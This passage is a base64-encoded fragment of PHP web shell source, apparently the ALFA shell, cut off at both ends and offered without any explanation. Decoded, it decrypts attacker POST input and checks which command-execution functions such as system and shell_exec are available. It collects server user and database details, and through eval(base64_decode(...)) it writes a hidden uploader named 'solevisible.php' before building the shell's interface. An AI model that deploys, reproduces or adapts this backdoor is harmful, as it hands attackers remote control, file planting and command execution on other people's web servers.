iBzdHJsZW4oJHBvc3QpIC4gIlxyXG4iOwokaHR0cCAuPSAiQ29ubmVjdGlvbjogY2xvc2VcclxuXHJcbiI7CiRodHRwIC49ICRwb3N0IC4gIlxyXG5cclxuIjsKZndyaXRlKCRzb2NrZXQsICRodHRwKTsKJGNvbnRlbnRzID0gIiI7CndoaWxlICghQGZlb2YoJHNvY2tldCkpIHsKJGNvbnRlbnRzIC49IEBmZ2V0cygkc29ja2V0LCA0MDk2KTsKfQpsaXN0KCRoZWFkZXIsICRib2R5KSA9IGV4cGxvZGUoIlxyXG5cclxuIiwgJGNvbnRlbnRzLCAyKTsKQGZjbG9zZSgkc29ja2V0KTsKcmV0dXJuICRib2R5Owp9ZWxzZXsKcmV0dXJuICIiOwp9Cn0KZm9yZWFjaCgkX1BPU1QgYXMgJGtleSA9PiAkdmFsdWUpewppZihpc19hcnJheSgkX1BPU1RbJGtleV0pKXsKJGk9MDsKZm9yZWFjaCgkX1BPU1RbJGtleV0gYXMgJGYpIHsKJGYgPSB0cmltKHN0cl9yZXBsYWNlKCcgJywgJysnLCRmKSk7CiRfUE9TVFska2V5XVskaV0gPSBkZWNyeXB0X3Bvc3QoJGYpOwokaSsrOwp9Cn1lbHNlewokdmFsdWUgPSB0cmltKHN0cl9yZXBsYWNlKCcgJywgJysnLCR2YWx1ZSkpOwokX1BPU1RbJGtleV0gPSBkZWNyeXB0X3Bvc3QoJHZhbHVlKTsKfQp9CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbjInOy8vJ0ZpbGVzTWFuJzsKJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dpbmRvd3MtMTI1MSc7CmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKT09IndpbiIpCiRHTE9CQUxTWydzeXMnXT0nd2luJzsKZWxzZQokR0xPQkFMU1snc3lzJ109J3VuaXgnOwokR0xPQkFMU1snaG9tZV9jd2QnXSA9IEBhbGZhR2V0Q3dkKCk7CiRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJmYWxzZSI7CiRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10gPSBmYWxzZTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKXsKaWYoIUBjaGRpcigkX1BPU1RbJ2MnXSkpewokR0xPQkFMU1snZ2xvYl9jaGRpcl9mYWxzZSddID0gdHJ1ZTsKfQp9CiRHTE9CQUxTWydjd2QnXSA9IChpc3NldCgkX1BPU1RbJ2MnXSkgJiYgQGlzX2RpcigkX1BPU1RbJ2MnXSkgPyRfUE9TVFsnYyddOkBhbGZhR2V0Q3dkKCkpOwppZigkR0xPQkFMU1snZ2xvYl9jaGRpcl9mYWxzZSddKXsKJEdMT0JBTFNbJ2N3ZCddID0gKGlzc2V0KCRfUE9TVFsnYyddKSAmJiAhZW1wdHkoJF9QT1NUWydjJ10pID8gJF9QT1NUWydjJ10gOiBAYWxmYUdldEN3ZCgpKTsKfQppZigkR0xPQkFMU1snc3lzJ10gPT0gJ3dpbicpewokR0xPQkFMU1snaG9tZV9jd2QnXSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJEdMT0JBTFNbJ2hvbWVfY3dkJ10pOwokR0xPQkFMU1snY3dkJ10gPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRHTE9CQUxTWydjd2QnXSk7Cn0KaWYoJEdMT0JBTFNbJ2N3ZCddW3N0cmxlbigkR0xPQkFMU1snY3dkJ10pLTFdICE9ICcvJyApJEdMT0JBTFNbJ2N3ZCddIC49ICcvJzsKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3lzX2dldF90ZW1wX2RpcicpKXtmdW5jdGlvbiBzeXNfZ2V0X3RlbXBfZGlyKCkge2ZvcmVhY2ggKGFycmF5KCdUTVAnLCAnVEVNUCcsICdUTVBESVInKSBhcyAkZW52X3Zhcikge2lmICgkdGVtcCA9IGdldGVudigkZW52X3ZhcikpIHtyZXR1cm4gJHRlbXA7fX0kdGVtcCA9IHRlbXBuYW0oJEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10sICcnKTtpZiAoX2FsZmFfZmlsZV9leGlzdHMoJHRlbXAsZmFsc2UpKSB7dW5saW5rKCR0ZW1wKTtyZXR1cm4gZGlybmFtZSgkdGVtcCk7fXJldHVybiBudWxsO319CmlmKCFmdW5jdGlvbl9leGlzdHMoIm1iX3N0cmxlbiIpKXsKZnVuY3Rpb24gbWJfc3RybGVuKCRzdHIsICRjPSIiKXsKcmV0dXJuIHN0cmxlbigkc3RyKTsKfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoIm1iX3N1YnN0ciIpKXsKZnVuY3Rpb24gbWJfc3Vic3RyKCRzdHIsICRzdGFydCwgJGVuZCwgJGM9IiIpewpyZXR1cm4gc3Vic3RyKCRzdHIsICRzdGFydCwgJGVuZCk7Cn0KfQpkZWZpbmUoIkFMRkFfVEVNUERJUiIsIChmdW5jdGlvbl9leGlzdHMoInN5c19nZXRfdGVtcF9kaXIiKSA/IChAaXNfd3JpdGFibGUoc3RyX3JlcGxhY2UoJ1xcJywnLycsc3lzX2dldF90ZW1wX2RpcigpKSk/c3lzX2dldF90ZW1wX2RpcigpOihAaXNfd3JpdGFibGUoJy4nKT8nLic6ZmFsc2UpKSA6IGZhbHNlKSk7CmZ1bmN0aW9uIGFsZmFoZWFkKCl7CiRHTE9CQUxTWydfX0FMRkFfU0hFTExfQ09ERSddID0gJ1BEOXdhSEFnWldOb2J5QWlQSFJwZEd4bFBsTnZiR1YyYVhOcFlteGxJRlZ3Ykc5aFpHVnlQQzkwYVhSc1pUNWNianhpYjJSNUlHSm5ZMjlzYjNJOUl6QXdNREF3TUQ1Y2JqeGljajVjYmp4alpXNTBaWEkrUEdadmJuUWdZMjlzYjNJOVhDSjNhR2wwWlZ3aVBqeGlQbGx2ZFhJZ1NYQWdRV1JrY21WemN5QnBjend2WWo0Z1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQand2Wm05dWRENDhMMk5sYm5SbGNqNWNianhpYVdjK1BHWnZiblFnWTI5c2IzSTlYQ0lqTjBOR1F6QXdYQ0krUEdObGJuUmxjajVjYmlJN1pXTm9ieUFrWDFORlVsWkZVbHNuVWtWTlQxUkZYMEZFUkZJblhUdGxZMmh2SUNJOEwyTmxiblJsY2o0OEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQVndpSXpkRFJrTXdNRndpUGx4dVBHSnlQbHh1UEdKeVBseHVQR05sYm5SbGNqNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OFltbG5QbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaQ0JCY21WaFBDOWlhV2MrUEM5bWIyNTBQand2WVQ0OFptOXVkQ0JqYjJ4dmNqMWNJaU0zUTBaRE1EQmNJajQ4TDJadmJuUStQQzlqWlc1MFpYSStQR0p5UGx4dVBHTmxiblJsY2o0OFptOXliU0J0WlhSb2IyUTlKM0J2YzNRbklHVnVZM1I1Y0dVOUoyMTFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRW5JRzVoYldVOUozVndiRzloWkdWeUp6NGlPMlZqYUc4Z0p6eHBibkIxZENCMGVYQmxQU0ptYVd4bElpQnVZVzFsUFNKbWFXeGxJaUJ6YVhwbFBTSTBOU0krUEdsdWNIVjBJRzVoYldVOUlsOTFjR3dpSUhSNWNHVTlJbk4xWW0xcGRDSWdhV1E5SWw5MWNHd2lJSFpoYkhWbFBTSlZjR3h2WVdRaVBqd3ZabTl5YlQ0OEwyTmxiblJsY2o0bk8ybG1LR2x6YzJWMEtDUmZVRTlUVkZzblgzVndiQ2RkS1NZbUpGOVFUMU5VV3lkZmRYQnNKMTA5UFNBaVZYQnNiMkZrSWlsN2FXWW9RRzF2ZG1WZmRYQnNiMkZrWldSZlptbHNaU2drWDBaSlRFVlRXeWRtYVd4bEoxMWJKM1J0Y0Y5dVlXMWxKMTBzSUNSZlJrbE1SVk5iSjJacGJHVW5YVnNuYm1GdFpTZGRLU2tnZTJWamFHOGdKenhpUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhZMlZ1ZEdWeVBsVndiRzloWkNCVGRXTmpaWE56Wm5Wc2JIa2dPeWs4TDJadmJuUStQQzloUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhMMkkrUEdKeVBqeGljajRuTzMxbGJITmxlMlZqYUc4Z0p6eGlQanhtYjI1MElHTnZiRzl5UFNJak4wTkdRekF3SWo0OFkyVnVkR1Z5UGxWd2JHOWhaQ0JtWVdsc1pXUWdPaWc4TDJadmJuUStQQzloUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhMMkkrUEdKeVBqeGljajRuTzMxOVpXTm9ieUFuUEdObGJuUmxjajQ4YzNCaGJpQnpkSGxzWlQwaVptOXVkQzF6YVhwbE9qTXdjSGc3SUdKaFkydG5jbTkxYm1RNklIVnliQ2dtY1hWdmREdG9kSFJ3T2k4dmMyOXNaWFpwYzJsaWJHVXVZMjl0TDJsdFlXZGxjeTlpWjE5bFptWmxZM1JmZFhBdVoybG1KbkYxYjNRN0tTQnlaWEJsWVhRdGVDQnpZM0p2Ykd3Z01DVWdNQ1VnZEhKaGJuTndZWEpsYm5RN0lHTnZiRzl5T2lCeVpXUTdJSFJsZUhRdGMyaGhaRzkzT2lBNGNIZ2dPSEI0SURFemNIZzdJajQ4YzNSeWIyNW5QanhpUGp4aWFXYytjMjlzWlhacGMybGliR1ZBWjIxaGFXd3VZMjl0UEM5aVBqd3ZZbWxuUGp3dmMzUnliMjVuUGp3dmMzQmhiajQ4TDJObGJuUmxjajRuT3o4Kyc7CiRhbGZhX3VwbG9hZGVyID0gJyR4ID0gYmFzZTY0X2RlY29kZSgiJy4kR0xPQkFMU1snX19BTEZBX1NIRUxMX0NPREUnXS4nIik7JHNvbGV2aXNpYmxlID0gZm9wZW4oInNvbGV2aXNpYmxlLnBocCIsInciKTtmd3JpdGUoJHNvbGV2aXNpYmxlLCR4KTsnOwpkZWZpbmUoIkFMRkFfVVBMT0FERVIiLCAiZXZhbChiYXNlNjRfZGVjb2RlKCciLl9fWlc1amIyUmxjZygkYWxmYV91cGxvYWRlcikuIicpKSIpOwppZighaXNzZXQoJF9QT1NUWydhamF4J10pKXsKZnVuY3Rpb24gQWxmYV9HZXREaXNhYmxlX0Z1bmN0aW9uKCl7CiRkaXNmdW4gPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKJGFmYSA9ICc8c3BhbiBjbGFzcz0iaGVhZGVyX3Nob3dfYWxsIj5BbGwgRnVuY3Rpb25zIEFjY2Vzc2libGU8L3NwYW4+JzsKaWYoZW1wdHkoJGRpc2Z1bikpcmV0dXJuKCRhZmEpOwokcyA9IGV4cGxvZGUoJywnLCRkaXNmdW4pOwokcyA9IGFycmF5X3VuaXF1ZSgkcyk7CiRpPTA7CiRiPTA7CiRmdW5jID0gYXJyYXkoJ3N5c3RlbScsJ2V4ZWMnLCdzaGVsbF9leGVjJywncHJvY19vcGVuJywncG9wZW4nLCdwYXNzdGhydScsJ3N5bWxpbmsnLCdkbCcpOwokYmxhY2tfbGlzdCA9IGFycmF5KCk7CiRhbGxvd19saXN0ID0gYXJyYXkoKTsKZm9yZWFjaCgkcyBhcyAkZCl7CiRkPXRyaW0oJGQpOwppZihlbXB0eSgkZCl8fCFpc19jYWxsYWJsZSgkZCkpY29udGludWU7CmlmKCFmdW5jdGlvbl9leGlzdHMoJGQpKXsKaWYoaW5fYXJyYXkoJGQsJGZ1bmMpKXsKJGRpcyAuPSAkZC4iIHwgIjskYisrOwokYmxhY2tfbGlzdFtdID0gJGQ7Cn1lbHNlewokYWxsb3dfbGlzdFtdID0gJGQ7Cn0KJGkrKzsKfQp9CmlmKCRpPT0wKXJldHVybigkYWZhKTsKaWYoJGkgPD0gY291bnQoJGZ1bmMpKXsKJGFsbCA9IGFycmF5X3ZhbHVlcyhhcnJheV9tZXJnZSgkYmxhY2tfbGlzdCwgJGFsbG93X2xpc3QpKTsKcmV0dXJuKCc8c3BhbiBjbGFzcz0iZGlzYWJsZV9mdW5jdGlvbnMiPicuaW1wbG9kZSgiIHwgIiwgJGFsbCkuJzwvc3Bhbj4nKTsKfQpyZXR1cm4oJzxzcGFuIGNsYXNzPSJkaXNhYmxlX2Z1bmN0aW9ucyI+Jy4kZGlzLic8L3NwYW4+PGEgaWQ9Im1lbnVfb3B0X0dldERpc0Z1bmMiIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImFsZmFfY2FuX2FkZF9vcHQgPSB0cnVlO2coXCdHZXREaXNGdW5jXCcsbnVsbCxcJ3dwXCcpOyI+PHNwYW4gY2xhc3M9ImhlYWRlcl9zaG93X2FsbCI+U2hvdyBBbGwgKCcuJGkuJyk8L3NwYW4+PC9hPicpOwp9CmZ1bmN0aW9uIEFsZmFOdW0oKXsKJGFyZ3MgPSBmdW5jX2dldF9hcmdzKCk7CiRhbGZheCA9IGFycmF5KCk7CiRmaW5kID0gYXJyYXkoKTsKZm9yKCRpPTE7JGk8PTEwOyRpKyspewokYWxmYXhbXSA9ICRpOwp9CmZvcmVhY2goJGFyZ3MgYXMgJGFyZyl7CiRmaW5kW10gPSAkYXJnOwp9CmVjaG8gJzxzY3JpcHQ+JzsKZm9yZWFjaCgkYWxmYXggYXMgJGFsZmEpewppZihpbl9hcnJheSgkYWxmYSwkZmluZCkpCmNvbnRpbnVlOwplY2hvICdhbGZhJy4kYWxmYS4iXz0iOwp9CmVjaG8gJyIiPC9zY3JpcHQ+JzsKfQppZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpCiRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOwokZnJlZVNwYWNlID0gZnVuY3Rpb25fZXhpc3RzKCdkaXNrZnJlZXNwYWNlJyk/QGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTonPyc7CiR0b3RhbFNwYWNlID0gZnVuY3Rpb25fZXhpc3RzKCdkaXNrX3RvdGFsX3NwYWNlJyk/QGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTonPyc7CiR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsKJG9uPSI8c3BhbiBjbGFzcz0naGVhZGVyX29uJz4gT04gPC9zcGFuPiI7CiRvZj0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vZmYnPiBPRkYgPC9zcGFuPiI7CiRub25lPSI8c3BhbiBjbGFzcz0naGVhZGVyX25vbmUnPiBOT05FIDwvc3Bhbj4iOwppZihmdW5jdGlvbl9leGlzdHMoJ3NzaDJfY29ubmVjdCcpKQokc3NoMj0kb247CmVsc2UKJHNzaDI9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKQokY3VybD0kb247CmVsc2UKJGN1cmw9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpfHxjbGFzc19leGlzdHMoJ215c3FsaScpKQokbXlzcWw9JG9uOwplbHNlCiRteXNxbD0kb2Y7CmlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQokbXNzcWw9JG9uOwplbHNlCiRtc3NxbD0kb2Y7CmlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQokcGc9JG9uOwplbHNlCiRwZz0kb2Y7CmlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkKJG9yPSRvbjsKZWxzZQokb3I9JG9mOwppZihAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkKJGRpc2Z1bj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKZWxzZQokZGlzZnVuPSJBbGwgRnVuY3Rpb25zIEVuYWJsZSI7CmlmKEBpbmlfZ2V0KCdzYWZlX21vZGUnKSkKJHNhZmVfbW9kZXM9IjxzcGFuIGNsYXNzPSdoZWFkZXJfb2ZmJz5PTjwvc3Bhbj4iOwplbHNlCiRzYWZlX21vZGVzPSI8c3BhbiBjbGFzcz0naGVhZGVyX29uJz5PRkY8L3NwYW4+IjsKJGNnaV9zaGVsbD0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vZmYnIGlkPSdoZWFkZXJfY2dpc2hlbGwnPk9GRjwvc3Bhbj4iOwppZihAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpewokYmFzZWRpcl9kYXRhID0gQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpOwppZihzdHJsZW4oJGJhc2VkaXJfZGF0YSk+MTIwKXsKJG9wZW5fYj1zdWJzdHIoJGJhc2VkaXJfZGF0YSwwLCAxMjApLiIuLi4iOwp9ZWxzZXsKJG9wZW5fYiA9ICRiYXNlZGlyX2RhdGE7Cn0KfWVsc2V7JG9wZW5fYj0kbm9uZTt9CmlmKEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSkKJHNhZmVfZXhlPUBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKTsKZWxzZQokc2FmZV9leGU9JG5vbmU7CmlmKEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSkKJHNhZmVfaW5jbHVkZT1AaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJyk7CmVsc2UKJHNhZmVfaW5jbHVkZT0kbm9uZTsKaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKQp7CiR1c2VyID0gZnVuY3Rpb25fZXhpc3RzKCJnZXRfY3VycmVudF91c2VyIik/QGdldF9jdXJyZW50X3VzZXIoKToiPz8/PyI7CiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoImdldG15dWlkIik/QGdldG15dWlkKCk6Ij8/Pz8iOwokZ2lkID0gZnVuY3Rpb25fZXhpc3RzKCJnZXRteWdpZCIpP0BnZXRteWdpZCgpOiI/Pz8/IjsKJGdyb3VwID0gIj8iOwp9ZWxzZXsKJHVpZCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRldWlkIik/QHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk6YXJyYXkoIm5hbWUiPT4iPz8/PyIsICJ1aWQiPT4iPz8/PyIpOwokZ2lkID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpJiZmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKT9AcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTphcnJheSgibmFtZSI9PiI/Pz8/IiwgImdpZCI9PiI/Pz8/Iik7CiR1c2VyID0gJHVpZFsnbmFtZSddOwokdWlkID0gJHVpZFsndWlkJ107CiRncm91cCA9ICRnaWRbJ25hbWUnXTsKJGdpZCA9ICRnaWRbJ2dpZCddOwp9CiRjd2RfbGlua3MgPSAnJzsKJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKJG49Y291bnQoJHBhdGgpOwpmb3IoJGk9MDsgJGk8JG4tMTsgJGkrKykgewokY3dkX2xpbmtzIC49ICI8YSBjbGFzcz0naGVhZGVyX3B3ZCcgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsXCIiOwokY2FjaF9jd2RfcGF0aCA9ICIiOwpmb3IoJGo9MDsgJGo8PSRpOyAkaisrKXsKJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOwokY2FjaF9jd2RfcGF0aCAuPSAkcGF0aFskal0uJy8nOwp9CiRjd2RfbGlua3MgLj0gIlwiKScgcGF0aD0nIi4kY2FjaF9jd2RfcGF0aC4iJyBocmVmPScjYWN0aW9uPWZpbGVtYW4mcGF0aD0iLiRjYWNoX2N3ZF9wYXRoLiInPiIuJHBhdGhbJGldLiIvPC9hPiI7Cn0KJGRyaXZlcyA9ICIiOwpmb3JlYWNoKHJhbmdlKCdhJywneicpIGFzICRkcml2ZSkKaWYoQGlzX2RpcigkZHJpdmUuJzpcXCcpKQokZHJpdmVzIC49ICc8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBjbGFzcz0iaGVhZGVyX2RyaXZlIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7CiRjc3Njb2RlID0nLW1vei1hbmltYXRpb24tbmFtZTogc3BpbjstbW96LWFuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlOy1tb3otYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyOy1tb3otYW5pbWF0aW9uLWR1cmF0aW9uOiAxczstd2Via2l0LWFuaW1hdGlvbi1uYW1lOiBzcGluOy13ZWJraXQtYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogaW5maW5pdGU7LXdlYmtpdC1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOiBsaW5lYXI7LXdlYmtpdC1hbmltYXRpb24tZHVyYXRpb246IDFzOy1tcy1hbmltYXRpb24tbmFtZTogc3BpbjstbXMtYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogaW5maW5pdGU7LW1zLWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjstbXMtYW5pbWF0aW9uLWR1cmF0aW9uOiAxczthbmltYXRpb24tbmFtZTogc3BpbjthbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTthbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOiBsaW5lYXI7YW5pbWF0aW9uLWR1cmF0aW9uOiAxczsnOwplY2hvICc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPgo8bWV0YSBuYW1lPSJST0JPVFMiIGNvbnRlbnQ9Ik5PSU5ERVgsIE5PRk9MTE9XIiAvPgo8bGluayBocmVmPSInLl9fc2hvd2ljb24oJ2FsZmFtaW5pJykuJyIgcmVsPSJpY29uIiB0eXBlPSJpbWFnZS94LWljb24iLz4KPHRpdGxlPicuX19BTEZBX0NPREVfTkFNRV9fLictJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJzwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Jzs/PgouaGxhYmFsZXtjb2xvcjojNjdhYmRmO2JvcmRlci1yYWRpdXM6NHB4O2JvcmRlcjoxcHggc29saWQgIzI3OTc5YjttYXJnaW4tbGVmdDo3cHg7cGFkZGluZzoycHh9I3RibF9zeW1wcGhwIHRye3RleHQtYWxpZ246Y2VudGVyfSNQaHBDb2RlLC5waHAtZXZhbHMtYWNlLC52aWV3X21sX2NvbnRlbnR7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7cmlnaHQ6MDtib3R0b206MDtsZWZ0OjA7YmFja2dyb3VuZDojMWIyOTJiMjY7dG9wOjUwcHh9LmVkaXRvci12aWV3e3Bvc2l0aW9uOnJlbGF0aXZlO2hlaWdodDoxMDAlfS52aWV3LWNvbnRlbnR7cG9zaXRpb246YWJzb2x1dGU7b3ZlcmZsb3cteTphdXRvO3dpZHRoOjEwMCU7aGVpZ2h0OjkzJX06Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrey13ZWJraXQtYm94LXNoYWRvdzppbnNldCAwIDAgNnB4IHJnYmEoMCwwLDAsLjMpO2JvcmRlci1yYWRpdXM6MTBweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAxMTV9Ojotd2Via2l0LXNjcm9sbGJhcnt3aWR0aDoxMHB4O2JhY2tncm91bmQtY29sb3I6IzAwMDExNX06Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1ie2JvcmRlci1yYWRpdXM6MTBweDstd2Via2l0LWJveC1zaGFkb3c6aW5zZXQgMCAwIDZweCByZ2JhKDAsMCwwLC4zKTtiYWNrZ3JvdW5kLWNvbG9yOiMxZTgyYjV9LmVkaXRvci1maWxlLW5hbWV7bWFyZ2luLWxlZnQ6MjlweDttYXJnaW4tdG9wOjRweDtvdmVyZmxvdzpoaWRkZW47dGV4dC1vdmVyZmxvdzplbGxpcHNpczt3aGl0ZS1zcGFjZTpub3dyYXB9LmVkaXRvci1pY29ue3Bvc2l0aW9uOmFic29sdXRlfS5pc19hY3RpdmV7YmFja2dyb3VuZDpyZ2JhKDQ5LDU1LDkzLC43Nyk7Ym9yZGVyLXJhZGl1czoxMHB4fS5oaXN0b3J5LWxpc3R7aGVpZ2h0Ojg4JTtvdmVyZmxvdy15OmF1dG99Lm9wdC10aXRsZXtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjUwJTt0b3A6NTAlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtjb2xvcjojMmZkMDUxO2ZvbnQtc2l6ZToyNXB4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZX0ub3B0aW9uc19taW5fYmFkZ2V7dmlzaWJpbGl0eTpoaWRkZW47dGV4dC1hbGlnbjpjZW50ZXI7cmlnaHQ6MzBweDtjb2xvcjojZmZmO2JhY2tncm91bmQ6IzJhOGEyNDtwYWRkaW5nOjZweDtib3JkZXItcmFkaXVzOjUwJTt3aWR0aDoxNXB4O2hlaWdodDoxNXB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3Bvc2l0aW9uOmFic29sdXRlO3RvcDotN3B4fSNjZ2lsb2FkZXItbWluaW1pemVkLCNkYXRhYmFzZV93aW5kb3ctbWluaW1pemVkLCNlZGl0b3ItbWluaW1pemVkLCNvcHRpb25zX3dpbmRvdy1taW5pbWl6ZWR7ZGlzcGxheTpibG9jaztwb3NpdGlvbjpmaXhlZDtyaWdodDotMzBweDt3aWR0aDozMHB4O2hlaWdodDozMHB4O3RvcDozMCU7ei1pbmRleDo5OTk5fS5taW5pbWl6ZWQtd3JhcHBlcntwb3NpdGlvbjpyZWxhdGl2ZTtiYWNrZ3JvdW5kOiMwZTMwNGE7d2lkdGg6NDRweDtoZWlnaHQ6MTMwcHg7Y3Vyc29yOnBvaW50ZXI7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czo1cHg7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czo1cHh9Lm1pbmltaXplZC10ZXh0e3RyYW5zZm9ybTpyb3RhdGUoLTkwZGVnKTtjb2xvcjp3aGVhdDtmb250LXNpemU6eC1sYXJnZTtkaXNwbGF5OmlubGluZS1ibG9jaztwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDotNTFweDt3aWR0aDoxMjlweDt0b3A6LTEwcHg7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czo0JTtoZWlnaHQ6NTZweDtwYWRkaW5nOjNweH0uY2xvc2UtYnV0dG9uLC5lZGl0b3ItbWluaW1pemV7aGVpZ2h0OjI2cHg7d2lkdGg6MzhweDtyaWdodDo3cHg7YmFja2dyb3VuZDojMWQ1NjczO2N1cnNvcjpwb2ludGVyO3Bvc2l0aW9uOmFic29sdXRlO2JveC1zaXppbmc6Ym9yZGVyLWJveDtsaW5lLWhlaWdodDo1MHB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3RvcDoxN3B4O2JvcmRlci1yYWRpdXM6MTAwcHh9LmVkaXRvci1taW5pbWl6ZXtyaWdodDo1MHB4fS5jbG9zZS1idXR0b246YWZ0ZXIsLmNsb3NlLWJ1dHRvbjpiZWZvcmUsLmVkaXRvci1taW5pbWl6ZTpiZWZvcmV7dHJhbnNmb3JtOnJvdGF0ZSgtNDVkZWcpO2NvbnRlbnQ6IiI7cG9zaXRpb246YWJzb2x1dGU7dG9wOjYzJTtyaWdodDo2cHg7bWFyZ2luLXRvcDotNXB4O21hcmdpbi1sZWZ0Oi0yNXB4O2Rpc3BsYXk6YmxvY2s7aGVpZ2h0OjRweDt3aWR0aDoyN3B4O2JhY2tncm91bmQtY29sb3I6cmdiYSgyMTYsMjA3LDIwNywuNzUpO3RyYW5zaXRpb246YWxsIC4yNXMgZWFzZS1vdXR9LmVkaXRvci1taW5pbWl6ZTpiZWZvcmV7dHJhbnNmb3JtOnJvdGF0ZSgwKX0uY2xvc2UtYnV0dG9uOmFmdGVye3RyYW5zZm9ybTpyb3RhdGUoLTEzNWRlZyl9LmNsb3NlLWJ1dHRvbjpob3ZlcjphZnRlciwuY2xvc2UtYnV0dG9uOmhvdmVyOmJlZm9yZSwuZWRpdG9yLW1pbmltaXplOmhvdmVyOmJlZm9yZXtiYWNrZ3JvdW5kLWNvbG9yOnJlZH0uY2xvc2UtYnV0dG9uOmhvdmVyLC5lZGl0b3ItbWluaW1pemU6aG92Z